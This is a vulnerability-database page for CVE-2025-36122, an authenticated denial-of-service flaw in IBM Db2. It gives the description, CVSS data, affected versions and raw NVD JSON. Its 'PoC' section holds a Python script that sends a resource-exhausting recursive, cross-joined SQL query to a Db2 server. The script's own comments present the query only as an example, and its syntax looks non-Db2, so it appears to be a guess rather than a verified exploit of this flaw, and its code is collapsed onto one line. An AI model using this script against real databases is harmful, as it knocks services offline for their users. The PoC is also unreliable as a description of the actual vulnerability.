Security Vulnerability Report
中文
CVE-2025-36122 CVSS 6.5 MEDIUM

CVE-2025-36122

Published: 2026-04-30 22:16:25
Last Modified: 2026-05-01 17:52:18

Description

IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.3 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow an authenticated user to cause a denial of service using a specially crafted SQL query due to improper allocation of system resources.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:* - VULNERABLE
cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:* - VULNERABLE
cpe:2.3:a:ibm:db2:*:*:*:*:*:windows:*:* - VULNERABLE
cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:* - VULNERABLE
cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:* - VULNERABLE
IBM Db2 11.5.0 - 11.5.9
IBM Db2 12.1.0 - 12.1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import ibm_db import sys # Proof of Concept for CVE-2025-36122 # This script demonstrates a potential DoS scenario via resource-intensive query. # NOTE: For educational/testing purposes only on authorized systems. def trigger_dos(conn_str): try: conn = ibm_db.connect(conn_str, "", "") print("[+] Connected to IBM Db2") # A crafted query designed to exhaust resources due to improper allocation # Example: Recursive CTE or Cartesian product that triggers the bug malicious_query = """ WITH RECURSIVE CTE(n) AS ( SELECT 1 FROM sysibm.sysdummy1 UNION ALL SELECT n+1 FROM CTE WHERE n < 1000000 ) SELECT * FROM CTE A, CTE B, CTE C; """ print("[*] Sending crafted SQL query...") stmt = ibm_db.exec_immediate(conn, malicious_query) # Fetch results to force execution ibm_db.fetch_both(stmt) except Exception as e: print(f"[!] Error occurred (DoS likely triggered): {e}") finally: if 'conn' in locals() and conn: ibm_db.close(conn) if __name__ == "__main__": # Replace with actual connection string connection_string = "DATABASE=testdb;HOSTNAME=localhost;PORT=50000;UID=db2inst1;PWD=password;" trigger_dos(connection_string)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36122", "sourceIdentifier": "[email protected]", "published": "2026-04-30T22:16:24.597", "lastModified": "2026-05-01T17:52:18.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.3 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow an authenticated user to cause a denial of service using a specially crafted SQL query due to improper allocation of system resources."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:*", "versionStartIncluding": "11.5.0", "versionEndIncluding": "11.5.9", "matchCriteriaId": "ECAF5576-B4A5-4DB7-94F0-942F656F0461"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:*", "versionStartIncluding": "11.5.0", "versionEndIncluding": "11.5.9", "matchCriteriaId": "B1E165E8-F11B-4F13-B54A-90D29CA2ABF8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:windows:*:*", "versionStartIncluding": "11.5.0", "versionEndIncluding": "11.5.9", "matchCriteriaId": "727E2804-2D3D-4C31-A3E5-F99107D02A27"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:*", "versionStartIncluding": "12.1.0", "versionEndIncluding": "12.1.3", "matchCriteriaId": "2AA1764B-CD82-4B33-B85B-27CA2F7C0ED5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:*", "versionStartIncluding": "12.1.0", "versionEndIncluding": "12.1.3", "matchCriteriaId": "8F63D92C-AC19-4FB0-A605-08DC01875E7B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:windows:*:*", "versionStartIncluding": "12.1.0", "versionEndIncluding": "12.1.3", "matchCriteriaId": "E28DCDF3-EF5B-47D6-BD38-C98334B67BE4"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7267642", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}